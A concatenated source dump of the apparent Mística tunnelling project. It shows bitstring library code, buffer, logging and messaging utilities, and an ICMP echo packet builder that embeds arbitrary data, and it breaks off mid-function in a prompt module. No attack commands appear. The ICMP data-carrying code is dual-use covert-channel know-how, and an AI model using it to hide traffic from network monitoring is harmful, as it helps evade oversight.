sie -- Interpret as a signed interleaved exponential-Golomb code. uie -- Interpret as an unsigned interleaved exponential-Golomb code. uint -- Interpret as a two's complement unsigned integer. uintbe -- Interpret as a big-endian unsigned integer. uintle -- Interpret as a little-endian unsigned integer. uintne -- Interpret as a native-endian unsigned integer. """ __slots__ = ('_pos') def __init__(self, auto=None, length=None, offset=None, **kwargs): """Either specify an 'auto' initialiser: auto -- a string of comma separated tokens, an integer, a file object, a bytearray, a boolean iterable or another bitstring. Or initialise via **kwargs with one (and only one) of: bytes -- raw data as a string, for example read from a binary file. bin -- binary string representation, e.g. '0b001010'. hex -- hexadecimal string representation, e.g. '0x2ef' oct -- octal string representation, e.g. '0o777'. uint -- an unsigned integer. int -- a signed integer. float -- a floating point number. uintbe -- an unsigned big-endian whole byte integer. intbe -- a signed big-endian whole byte integer. floatbe - a big-endian floating point number. uintle -- an unsigned little-endian whole byte integer. intle -- a signed little-endian whole byte integer. floatle -- a little-endian floating point number. uintne -- an unsigned native-endian whole byte integer. intne -- a signed native-endian whole byte integer. floatne -- a native-endian floating point number. se -- a signed exponential-Golomb code. ue -- an unsigned exponential-Golomb code. sie -- a signed interleaved exponential-Golomb code. uie -- an unsigned interleaved exponential-Golomb code. bool -- a boolean (True or False). filename -- a file which will be opened in binary read-only mode. Other keyword arguments: length -- length of the bitstring in bits, if needed and appropriate. It must be supplied for all integer and float initialisers. offset -- bit offset to the data. These offset bits are ignored and this is intended for use when initialising using 'bytes' or 'filename'. """ self._pos = 0 def __new__(cls, auto=None, length=None, offset=None, **kwargs): x = super(ConstBitStream, cls).__new__(cls) x._initialise(auto, length, offset, **kwargs) return x def _setbytepos(self, bytepos): """Move to absolute byte-aligned position in stream.""" self._setbitpos(bytepos * 8) def _getbytepos(self): """Return the current position in the stream in bytes. Must be byte aligned.""" if self._pos % 8: raise ByteAlignError("Not byte aligned in _getbytepos().") return self._pos // 8 def _setbitpos(self, pos): """Move to absolute postion bit in bitstream.""" if pos < 0: raise ValueError("Bit position cannot be negative.") if pos > self.len: raise ValueError("Cannot seek past the end of the data.") self._pos = pos def _getbitpos(self): """Return the current position in the stream in bits.""" return self._pos def _clear(self): Bits._clear(self) self._pos = 0 def __copy__(self): """Return a new copy of the ConstBitStream for the copy module.""" # Note that if you want a new copy (different ID), use _copy instead. # The copy can use the same datastore as it's immutable. s = ConstBitStream() s._datastore = self._datastore # Reset the bit position, don't copy it. s._pos = 0 return s def __add__(self, bs): """Concatenate bitstrings and return new bitstring. bs -- the bitstring to append. """ s = Bits.__add__(self, bs) s._pos = 0 return s def read(self, fmt): """Interpret next bits according to the format string and return result. fmt -- Token string describing how to interpret the next bits. Token examples: 'int:12' : 12 bits as a signed integer 'uint:8' : 8 bits as an unsigned integer 'float:64' : 8 bytes as a big-endian float 'intbe:16' : 2 bytes as a big-endian signed integer 'uintbe:16' : 2 bytes as a big-endian unsigned integer 'intle:32' : 4 bytes as a little-endian signed integer 'uintle:32' : 4 bytes as a little-endian unsigned integer 'floatle:64': 8 bytes as a little-endian float 'intne:24' : 3 bytes as a native-endian signed integer 'uintne:24' : 3 bytes as a native-endian unsigned integer 'floatne:32': 4 bytes as a native-endian float 'hex:80' : 80 bits as a hex string 'oct:9' : 9 bits as an octal string 'bin:1' : single bit binary string 'ue' : next bits as unsigned exp-Golomb code 'se' : next bits as signed exp-Golomb code 'uie' : next bits as unsigned interleaved exp-Golomb code 'sie' : next bits as signed interleaved exp-Golomb code 'bits:5' : 5 bits as a bitstring 'bytes:10' : 10 bytes as a bytes object 'bool' : 1 bit as a bool 'pad:3' : 3 bits of padding to ignore - returns None fmt may also be an integer, which will be treated like the 'bits' token. The position in the bitstring is advanced to after the read items. Raises ReadError if not enough bits are available. Raises ValueError if the format is not understood. """ if isinstance(fmt, numbers.Integral): if fmt < 0: raise ValueError("Cannot read negative amount.") if fmt > self.len - self._pos: raise ReadError("Cannot read {0} bits, only {1} available.", fmt, self.len - self._pos) bs = self._slice(self._pos, self._pos + fmt) self._pos += fmt return bs p = self._pos _, token = tokenparser(fmt) if len(token) != 1: self._pos = p raise ValueError("Format string should be a single token, not {0} " "tokens - use readlist() instead.".format(len(token))) name, length, _ = token[0] if length is None: length = self.len - self._pos value, self._pos = self._readtoken(name, self._pos, length) return value def readlist(self, fmt, **kwargs): """Interpret next bits according to format string(s) and return list. fmt -- A single string or list of strings with comma separated tokens describing how to interpret the next bits in the bitstring. Items can also be integers, for reading new bitstring of the given length. kwargs -- A dictionary or keyword-value pairs - the keywords used in the format string will be replaced with their given value. The position in the bitstring is advanced to after the read items. Raises ReadError is not enough bits are available. Raises ValueError if the format is not understood. See the docstring for 'read' for token examples. 'pad' tokens are skipped and not added to the returned list. >>> h, b1, b2 = s.readlist('hex:20, bin:5, bin:3') >>> i, bs1, bs2 = s.readlist(['uint:12', 10, 10]) """ value, self._pos = self._readlist(fmt, self._pos, **kwargs) return value def readto(self, bs, bytealigned=None): """Read up to and including next occurrence of bs and return result. bs -- The bitstring to find. An integer is not permitted. bytealigned -- If True the bitstring will only be found on byte boundaries. Raises ValueError if bs is empty. Raises ReadError if bs is not found. """ if isinstance(bs, numbers.Integral): raise ValueError("Integers cannot be searched for") bs = Bits(bs) oldpos = self._pos p = self.find(bs, self._pos, bytealigned=bytealigned) if not p: raise ReadError("Substring not found") self._pos += bs.len return self._slice(oldpos, self._pos) def peek(self, fmt): """Interpret next bits according to format string and return result. fmt -- Token string describing how to interpret the next bits. The position in the bitstring is not changed. If not enough bits are available then all bits to the end of the bitstring will be used. Raises ReadError if not enough bits are available. Raises ValueError if the format is not understood. See the docstring for 'read' for token examples. """ pos_before = self._pos value = self.read(fmt) self._pos = pos_before return value def peeklist(self, fmt, **kwargs): """Interpret next bits according to format string(s) and return list. fmt -- One or more strings with comma separated tokens describing how to interpret the next bits in the bitstring. kwargs -- A dictionary or keyword-value pairs - the keywords used in the format string will be replaced with their given value. The position in the bitstring is not changed. If not enough bits are available then all bits to the end of the bitstring will be used. Raises ReadError if not enough bits are available. Raises ValueError if the format is not understood. See the docstring for 'read' for token examples. """ pos = self._pos return_values = self.readlist(fmt, **kwargs) self._pos = pos return return_values def bytealign(self): """Align to next byte and return number of skipped bits. Raises ValueError if the end of the bitstring is reached before aligning to the next byte. """ skipped = (8 - (self._pos % 8)) % 8 self.pos += self._offset + skipped assert self._assertsanity() return skipped pos = property(_getbitpos, _setbitpos, doc="""The position in the bitstring in bits. Read and write. """) bitpos = property(_getbitpos, _setbitpos, doc="""The position in the bitstring in bits. Read and write. """) bytepos = property(_getbytepos, _setbytepos, doc="""The position in the bitstring in bytes. Read and write. """) class BitStream(ConstBitStream, BitArray): """A container or stream holding a mutable sequence of bits Subclass of the ConstBitStream and BitArray classes. Inherits all of their methods. Methods: all() -- Check if all specified bits are set to 1 or 0. any() -- Check if any of specified bits are set to 1 or 0. append() -- Append a bitstring. bytealign() -- Align to next byte boundary. byteswap() -- Change byte endianness in-place. count() -- Count the number of bits set to 1 or 0. cut() -- Create generator of constant sized chunks. endswith() -- Return whether the bitstring ends with a sub-string. find() -- Find a sub-bitstring in the current bitstring. findall() -- Find all occurrences of a sub-bitstring in the current bitstring. insert() -- Insert a bitstring. invert() -- Flip bit(s) between one and zero. join() -- Join bitstrings together using current bitstring. overwrite() -- Overwrite a section with a new bitstring. peek() -- Peek at and interpret next bits as a single item. peeklist() -- Peek at and interpret next bits as a list of items. prepend() -- Prepend a bitstring. read() -- Read and interpret next bits as a single item. readlist() -- Read and interpret next bits as a list of items. replace() -- Replace occurrences of one bitstring with another. reverse() -- Reverse bits in-place. rfind() -- Seek backwards to find a sub-bitstring. rol() -- Rotate bits to the left. ror() -- Rotate bits to the right. set() -- Set bit(s) to 1 or 0. split() -- Create generator of chunks split by a delimiter. startswith() -- Return whether the bitstring starts with a sub-bitstring. tobytes() -- Return bitstring as bytes, padding if needed. tofile() -- Write bitstring to file, padding if needed. unpack() -- Interpret bits using format string. Special methods: Mutating operators are available: [], <<=, >>=, +=, *=, &=, |= and ^= in addition to [], ==, !=, +, *, ~, <<, >>, &, | and ^. Properties: bin -- The bitstring as a binary string. bool -- For single bit bitstrings, interpret as True or False. bytepos -- The current byte position in the bitstring. bytes -- The bitstring as a bytes object. float -- Interpret as a floating point number. floatbe -- Interpret as a big-endian floating point number. floatle -- Interpret as a little-endian floating point number. floatne -- Interpret as a native-endian floating point number. hex -- The bitstring as a hexadecimal string. int -- Interpret as a two's complement signed integer. intbe -- Interpret as a big-endian signed integer. intle -- Interpret as a little-endian signed integer. intne -- Interpret as a native-endian signed integer. len -- Length of the bitstring in bits. oct -- The bitstring as an octal string. pos -- The current bit position in the bitstring. se -- Interpret as a signed exponential-Golomb code. ue -- Interpret as an unsigned exponential-Golomb code. sie -- Interpret as a signed interleaved exponential-Golomb code. uie -- Interpret as an unsigned interleaved exponential-Golomb code. uint -- Interpret as a two's complement unsigned integer. uintbe -- Interpret as a big-endian unsigned integer. uintle -- Interpret as a little-endian unsigned integer. uintne -- Interpret as a native-endian unsigned integer. """ __slots__ = () # As BitStream objects are mutable, we shouldn't allow them to be hashed. __hash__ = None def __init__(self, auto=None, length=None, offset=None, **kwargs): """Either specify an 'auto' initialiser: auto -- a string of comma separated tokens, an integer, a file object, a bytearray, a boolean iterable or another bitstring. Or initialise via **kwargs with one (and only one) of: bytes -- raw data as a string, for example read from a binary file. bin -- binary string representation, e.g. '0b001010'. hex -- hexadecimal string representation, e.g. '0x2ef' oct -- octal string representation, e.g. '0o777'. uint -- an unsigned integer. int -- a signed integer. float -- a floating point number. uintbe -- an unsigned big-endian whole byte integer. intbe -- a signed big-endian whole byte integer. floatbe - a big-endian floating point number. uintle -- an unsigned little-endian whole byte integer. intle -- a signed little-endian whole byte integer. floatle -- a little-endian floating point number. uintne -- an unsigned native-endian whole byte integer. intne -- a signed native-endian whole byte integer. floatne -- a native-endian floating point number. se -- a signed exponential-Golomb code. ue -- an unsigned exponential-Golomb code. sie -- a signed interleaved exponential-Golomb code. uie -- an unsigned interleaved exponential-Golomb code. bool -- a boolean (True or False). filename -- a file which will be opened in binary read-only mode. Other keyword arguments: length -- length of the bitstring in bits, if needed and appropriate. It must be supplied for all integer and float initialisers. offset -- bit offset to the data. These offset bits are ignored and this is intended for use when initialising using 'bytes' or 'filename'. """ self._pos = 0 # For mutable BitStreams we always read in files to memory: if not isinstance(self._datastore, (ByteStore, ConstByteStore)): self._ensureinmemory() def __new__(cls, auto=None, length=None, offset=None, **kwargs): x = super(BitStream, cls).__new__(cls) y = ConstBitStream.__new__(BitStream, auto, length, offset, **kwargs) x._datastore = ByteStore(y._datastore._rawarray[:], y._datastore.bitlength, y._datastore.offset) return x def __copy__(self): """Return a new copy of the BitStream.""" s_copy = BitStream() s_copy._pos = 0 if not isinstance(self._datastore, ByteStore): # Let them both point to the same (invariant) array. # If either gets modified then at that point they'll be read into memory. s_copy._datastore = self._datastore else: s_copy._datastore = ByteStore(self._datastore._rawarray[:], self._datastore.bitlength, self._datastore.offset) return s_copy def prepend(self, bs): """Prepend a bitstring to the current bitstring. bs -- The bitstring to prepend. """ bs = self._converttobitstring(bs) self._prepend(bs) self._pos += bs.len def pack(fmt, *values, **kwargs): """Pack the values according to the format string and return a new BitStream. fmt -- A single string or a list of strings with comma separated tokens describing how to create the BitStream. values -- Zero or more values to pack according to the format. kwargs -- A dictionary or keyword-value pairs - the keywords used in the format string will be replaced with their given value. Token examples: 'int:12' : 12 bits as a signed integer 'uint:8' : 8 bits as an unsigned integer 'float:64' : 8 bytes as a big-endian float 'intbe:16' : 2 bytes as a big-endian signed integer 'uintbe:16' : 2 bytes as a big-endian unsigned integer 'intle:32' : 4 bytes as a little-endian signed integer 'uintle:32' : 4 bytes as a little-endian unsigned integer 'floatle:64': 8 bytes as a little-endian float 'intne:24' : 3 bytes as a native-endian signed integer 'uintne:24' : 3 bytes as a native-endian unsigned integer 'floatne:32': 4 bytes as a native-endian float 'hex:80' : 80 bits as a hex string 'oct:9' : 9 bits as an octal string 'bin:1' : single bit binary string 'ue' / 'uie': next bits as unsigned exp-Golomb code 'se' / 'sie': next bits as signed exp-Golomb code 'bits:5' : 5 bits as a bitstring object 'bytes:10' : 10 bytes as a bytes object 'bool' : 1 bit as a bool 'pad:3' : 3 zero bits as padding >>> s = pack('uint:12, bits', 100, '0xffe') >>> t = pack(['bits', 'bin:3'], s, '111') >>> u = pack('uint:8=a, uint:8=b, uint:55=a', a=6, b=44) """ tokens = [] if isinstance(fmt, basestring): fmt = [fmt] try: for f_item in fmt: _, tkns = tokenparser(f_item, tuple(sorted(kwargs.keys()))) tokens.extend(tkns) except ValueError as e: raise CreationError(*e.args) value_iter = iter(values) s = BitStream() try: for name, length, value in tokens: # If the value is in the kwd dictionary then it takes precedence. if value in kwargs: value = kwargs[value] # If the length is in the kwd dictionary then use that too. if length in kwargs: length = kwargs[length] # Also if we just have a dictionary name then we want to use it if name in kwargs and length is None and value is None: s.append(kwargs[name]) continue if length is not None: length = int(length) if value is None and name != 'pad': # Take the next value from the ones provided value = next(value_iter) s._append(BitStream._init_with_token(name, length, value)) except StopIteration: raise CreationError("Not enough parameters present to pack according to the " "format. {0} values are needed.", len(tokens)) try: next(value_iter) except StopIteration: # Good, we've used up all the *values. return s raise CreationError("Too many parameters present to pack according to the format.") # Aliases for backward compatibility ConstBitArray = Bits BitString = BitStream __all__ = ['ConstBitArray', 'ConstBitStream', 'BitStream', 'BitArray', 'Bits', 'BitString', 'pack', 'Error', 'ReadError', 'InterpretError', 'ByteAlignError', 'CreationError', 'bytealigned'] if __name__ == '__main__': """Create and interpret a bitstring from command-line parameters. Command-line parameters are concatenated and a bitstring created from them. If the final parameter is either an interpretation string or ends with a '.' followed by an interpretation string then that interpretation of the bitstring will be used when printing it. Typical usage might be invoking the Python module from a console as a one-off calculation: $ python -m bitstring int:16=-400 0xfe70 $ python -m bitstring float:32=0.2 bin 00111110010011001100110011001101 $ python -m bitstring 0xff 3*0b01,0b11 uint 65367 $ python -m bitstring hex=01, uint:12=352.hex 01160 This feature is experimental and is subject to change or removal. """ # check if final parameter is an interpretation string fp = sys.argv[-1] if fp in name_to_read.keys(): # concatenate all other parameters and interpret using the final one b = Bits(','.join(sys.argv[1: -1])) print(b._readtoken(fp, 0, b.__len__())[0]) else: # does final parameter end with a dot then an interpretation string? interp = fp[fp.rfind('.') + 1:] if interp in name_to_read.keys(): sys.argv[-1] = fp[:fp.rfind('.')] b = Bits(','.join(sys.argv[1:])) print(b._readtoken(interp, 0, b.__len__())[0]) else: # No interpretation - just use default print b = Bits(','.join(sys.argv[1:])) print(b) ================================================ FILE: utils/buffer.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # class Index(object): def __init__(self): self.chunks = [] def add(self, chunk): self.chunks.append(chunk) class OverlayBuffer(object): def __init__(self): self.data = [] def addIndex(self, index): self.data.append(index) def getChunk(self): if not self.data: raise Exception("There is no Index in OverlayBuffer") if not self.data[0].chunks: raise Exception("There is no Chunk in OverlayBuffer") chunk = self.data[0].chunks.pop(0) if not self.data[0].chunks: self.data.pop(0) return chunk,True return chunk,False def anyIndex(self): return True if self.data else False class WrapperBuffer(object): def __init__(self): self.data = Index() def addChunk(self, chunk): self.data.add(chunk) def getChunks(self): if not self.data.chunks: raise Exception("There is no Chunk in WrapperBuffer") chunks = self.data.chunks self.data = Index() return chunks ================================================ FILE: utils/icmp.py ================================================ # # Copyright (c) 2020 Raul Caro. # # This file is part of ICMPack # (see https://github.com/rcaroncd/ICMPack). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sys import byteorder from socket import htons from random import random class Sizes(object): ''' See https://tools.ietf.org/html/rfc792 Page 14 ''' IP_HEADER = 20 ICMP_HEADER = 8 ICMP_TYPE = 1 ICMP_CODE = 1 ICMP_CHECKSUM = 2 ICMP_IDENTIFIER = 2 ICMP_SEQUENCE = 2 # extra field of icmp data (sent by ping program by default) ICMP_TIMESTAMP = 8 ICMP_UNKNOWN = 8 class Offsets(object): ''' Precalculate Offsets to parse ICMP Packet. ''' IP_HEADER = Sizes.IP_HEADER ICMP_HEADER = Sizes.IP_HEADER + Sizes.ICMP_HEADER # after ip header, start icmp header ICMP_TYPE = Sizes.ICMP_TYPE ICMP_CODE = ICMP_TYPE + Sizes.ICMP_CODE ICMP_CHECKSUM = ICMP_CODE + Sizes.ICMP_CHECKSUM ICMP_IDENTIFIER = ICMP_CHECKSUM + Sizes.ICMP_IDENTIFIER ICMP_SEQUENCE = ICMP_IDENTIFIER + Sizes.ICMP_SEQUENCE # extra field of icmp data (sent by ping program by default) ICMP_TIMESTAMP = ICMP_SEQUENCE + Sizes.ICMP_TIMESTAMP ICMP_UNKNOWN = ICMP_TIMESTAMP + Sizes.ICMP_UNKNOWN class Packet(object): """ Class for handling ICMP Echo Request and Echo Response packets from an array of bytes passed through input. Represents an ICMP package Echo Request/Response ICMP Echo / Echo Reply Message header info from RFC792 -> http://tools.ietf.org/html/rfc792 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identifier | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data ... +-+-+-+-+- *Max data (available) per ICMP packet 65507 bytes: 65535 bytes (Max IP Packet) -20 bytes (IP Header) -8 bytes (ICMP Header) ===== 65507 bytes ~= 65 Kb (1Mb ~= 16 ICMP Packets) """ REQUEST_TYPE = 8 REQUEST_CODE = 0 REQUEST_CHECKSUM = 0 REQUEST_IDENTIFIER = 0 REQUEST_SEQUENCE = 1 RESPONSE_TYPE = 0 RESPONSE_CODE = 0 RESPONSE_CHECKSUM = 0 RESPONSE_IDENTIFIER = 0 RESPONSE_SEQUENCE = 1 def __init__(self, rawdata=None): self.type = b'' self.code = b'' self.checksum = b'' self.id = b'' self.seq = b'' self.data = b'' # passing raw data, try to unpack within icmp packet if rawdata != None: self.unpack(rawdata) def __repr__(self): return "Packet()" def __str__(self): r = f"Type: '{self.type.hex()}', " r += f"Code: '{self.code.hex()}', " r += f"Checksum: '{self.checksum.hex()}', " r += f"Identifier: '{self.id.hex()}', " r += f"Sequence Number: '{self.seq.hex()}', " r += f"Data: '{self.data.hex()}'" return r def unpack(self, data): """ Extracts data from a received ICMP Packet (Echo Request or Echo Response). Does not ensure that the resulting data is that of a valid icmp package, so the attributes should be checked after performing this transformation. """ ip_header = data[:Offsets.IP_HEADER] icmp_data = data[Offsets.IP_HEADER:] self.type = icmp_data[:Offsets.ICMP_TYPE] self.code = icmp_data[Offsets.ICMP_TYPE:Offsets.ICMP_CODE] self.checksum = icmp_data[Offsets.ICMP_CODE:Offsets.ICMP_CHECKSUM] self.id = icmp_data[Offsets.ICMP_CHECKSUM:Offsets.ICMP_IDENTIFIER] self.seq = icmp_data[Offsets.ICMP_IDENTIFIER:Offsets.ICMP_SEQUENCE] self.data = icmp_data[Offsets.ICMP_SEQUENCE:] def calc_checksum(self, source_string): """ A port of the functionality of in_cksum() from ping.c Ideally this would act on the string as a series of 16-bit ints (host packed), but this works. Network data is big-endian, hosts are typically little-endian. From https://github.com/mjbright/python3-ping/blob/master/ping.py """ countTo = (int(len(source_string)/2))*2 sum = 0 count = 0 # Handle bytes in pairs (decoding as short ints) loByte = 0 hiByte = 0 while count < countTo: if (byteorder == "little"): loByte = source_string[count] hiByte = source_string[count + 1] else: loByte = source_string[count + 1] hiByte = source_string[count] sum = sum + (hiByte * 256 + loByte) count += 2 # Handle last byte if applicable (odd-number of bytes) # Endianness should be irrelevant in this case if countTo < len(source_string): # Check for odd length loByte = source_string[len(source_string)-1] sum += loByte sum &= 0xffffffff # Truncate sum to 32 bits (a variance from ping.c, which # uses signed ints, but overflow is unlikely in ping) sum = (sum >> 16) + (sum & 0xffff) # Add high 16 bits to low 16 bits sum += (sum >> 16) # Add carry from above (if any) answer = ~sum & 0xffff # Invert and truncate to 16 bits answer = htons(answer) return answer def pack_request(self, data=None): """ Create an ICMP Echo Request package with default data (like ping) or allow custom data to be passed to it. """ self.type = self.REQUEST_TYPE.to_bytes(Sizes.ICMP_TYPE,byteorder=byteorder) self.code = self.REQUEST_CODE.to_bytes(Sizes.ICMP_CODE,byteorder=byteorder) self.checksum = self.REQUEST_CHECKSUM.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big') new_identifier = int((id(data) * random()) % 65535) self.id = new_identifier.to_bytes(Sizes.ICMP_IDENTIFIER,byteorder=byteorder) self.seq = self.REQUEST_SEQUENCE.to_bytes(Sizes.ICMP_SEQUENCE,byteorder='big') self.data = data # calculate new checksum of icmp request packet raw_packet = self.toBytes() newchecksum = self.calc_checksum(raw_packet) self.checksum = newchecksum.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big') def pack_response(self, request, data=None): """ Create an ICMP Echo Response package """ assert isinstance(request, Packet) self.type = self.RESPONSE_TYPE.to_bytes(Sizes.ICMP_TYPE,byteorder=byteorder) self.code = self.RESPONSE_CODE.to_bytes(Sizes.ICMP_CODE,byteorder=byteorder) self.checksum = self.RESPONSE_CHECKSUM.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big') self.id = request.id self.seq = request.seq assert isinstance(data, bytes) self.data = data # calculate new checksum of icmp response packet raw_packet = self.toBytes() newchecksum = self.calc_checksum(raw_packet) self.checksum = newchecksum.to_bytes(Sizes.ICMP_CHECKSUM,byteorder='big') def toBytes(self): """ Returns an array of bytes corresponding to the icmp package built. """ return (self.type + self.code + self.checksum + self.id + self.seq + self.data) ================================================ FILE: utils/logger.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from logging import DEBUG, INFO, ERROR from logging import Formatter, FileHandler, getLogger from glob import glob as Glob from os import path, mkdir, remove as Remove formatter = Formatter('%(asctime)s - %(message)s') class Log(): NONE = 0 LOW = 1 MEDIUM = 2 HIGH = 3 def __init__(self,prefix="",level=NONE): self.level = level if level != self.NONE: self.clearFiles(prefix) self.deb = self.setup_logger('debug_log', f"logs/debug{prefix}.log",DEBUG) self.inf = self.setup_logger('info_log', f"logs/info{prefix}.log",INFO) self.err = self.setup_logger('error_log', f"logs/error{prefix}.log",ERROR) self.exc = self.setup_logger('exception_log', f"logs/exception{prefix}.log",ERROR) def clearFiles(self,prefix): if path.exists("logs"): files = Glob(f"logs/*{prefix}.log") for f in files: Remove(f) else: mkdir("logs") def setup_logger(self, name, log_file, level): handler = FileHandler(log_file) handler.setFormatter(formatter) logger = getLogger(name) logger.setLevel(level) logger.addHandler(handler) return logger def debug_all(self, message): if self.level == self.HIGH: self.deb.debug(message) def debug(self, message): if self.level > self.LOW: self.deb.debug(message) def error(self, message): if self.level != self.NONE: self.err.error(message) def info(self, message): if self.level != self.NONE: self.inf.info(message) def exception(self, message): if self.level != self.NONE: self.exc.exception(message) ================================================ FILE: utils/messaging.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from enum import Enum from sotp.core import Header,OptionalHeader,Sizes,Offsets,Status,Flags,Sync from sotp.core import Core class MessageType(Enum): STREAM = 0 SIGNAL = 1 class SignalType(Enum): START = 0 TERMINATE = 1 STOP = 2 RESTART = 3 COMMS_FINISHED = 4 COMMS_BROKEN = 5 ERROR = 6 BUFFER_READY = 7 class Message(): ''' { from : string, from_id : int, to : string, to_id : int, type : int, content : (Arbitrary), wrapServerQ: Queue (only in Mistica Server) } ''' def __init__(self, sender, sender_id, receiver, receiver_id, msgtype, content, wrapServerQ=None): self.sender = sender self.sender_id = sender_id self.receiver = receiver self.receiver_id = receiver_id self.msgtype = msgtype self.content = content self.wrapServerQ = wrapServerQ def __eq__(self, other): return self.sender == other.sender and self.receiver == other.receiver and self.msgtype == other.msgtype and self.content == other.content def isCommsFinishedMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_FINISHED: return True return False def isCommsBrokenMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_BROKEN: return True return False def isTerminateMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.TERMINATE: return True return False def isCommunicationEndedMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_FINISHED: return True return False def isCommunicationBrokenMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.COMMS_BROKEN: return True return False def isStartMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.START: return True return False def isStopMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.STOP: return True return False def isRestartMessage(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.RESTART: return True return False def isBufferReady(self): if self.msgtype == MessageType.SIGNAL and self.content == SignalType.BUFFER_READY: return True return False def isStreamMessage(self): return (self.msgtype == MessageType.STREAM) def isSignalMessage(self): return (self.msgtype == MessageType.SIGNAL) # method for print/debug messages def printHeader(self): if self.isSignalMessage(): return f"Signal Message: {self.content}" if not self.isStreamMessage(): return "Message is not a Stream Message" try: p = Core.transformToPacket(self.content) sid = p.session_id.uint sq = p.seq_number.uint ack = p.ack.uint dl = p.data_len.uint fl = p.flags.uint oh = p.optional_headers st = p.sync_type.uint if fl == 1 else 0 return f"SID: {sid}, SQ: {sq}, ACK: {ack}, DL: {dl}, FL: {fl}, OH: {oh}, SYT: {st}" except Exception: return f"Message content is not a SOTP Packet {self.content}" ================================================ FILE: utils/prompt.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientOverlay, ClientWrapper, ServerOverlay, ServerWrapper from overlay.client import * from overlay.server import * #from wrapper.server.wrap_module import * from wrapper.client import * from argparse import ArgumentParser class Prompt(object): def __init__(self): self.banner = "[Mistica] >>> " def GetFromStdin(self): data = input(self.banner) return data @staticmethod def listModules(type, lst): if lst == "overlays": output = Prompt.listOverlays(type) elif lst == "wrappers": output = Prompt.listWrapModules(type) else: output = Prompt.listOverlays(type) output = output + Prompt.listWrapModules(type) return output @staticmethod def listOverlays(type): if type == "server": overlaylist = [x for x in ServerOverlay.__subclasses__()] else: overlaylist = [x for x in ClientOverlay.__subclasses__()] overlaydict = {} for elem in overlaylist: overlaydict[elem.NAME] = elem.CONFIG["description"] output = "\nOverlay modules:\n\n" for k in sorted(overlaydict): output = output + "- {}: {}\n".format(k, overlaydict[k]) return output @staticmethod def listWrapModules(type): if type == "server": overlaylist = [x for x in ServerWrapper.__subclasses__()] else: overlaylist = [x for x in ClientWrapper.__subclasses__()] wmdict = {} for elem in overlaylist: wmdict[elem.NAME] = elem.CONFIG["description"] output = "\nWrap modules:\n\n" for k in sorted(wmdict): output = output + "- {}: {}\n".format(k, wmdict[k]) return output @staticmethod def listParameters(type, lst): module = Prompt.findModule(type, lst) if not module: return f"Module {lst} does not exist" argparser = Prompt.generateArgParser(module) try: argparser.parse_args(["-h"]) except SystemExit: pass try: ws = module.SERVER_CLASS except Exception: ws = None if ws: print(f"\n{lst} uses {ws.NAME} as wrap server\n") argparser = Prompt.generateArgParser(ws) try: argparser.parse_args(["-h"]) except SystemExit: pass @staticmethod def findModule(type, lst): if type == "server": for x in ServerWrapper.__subclasses__(): if x.NAME == lst: return x for x in 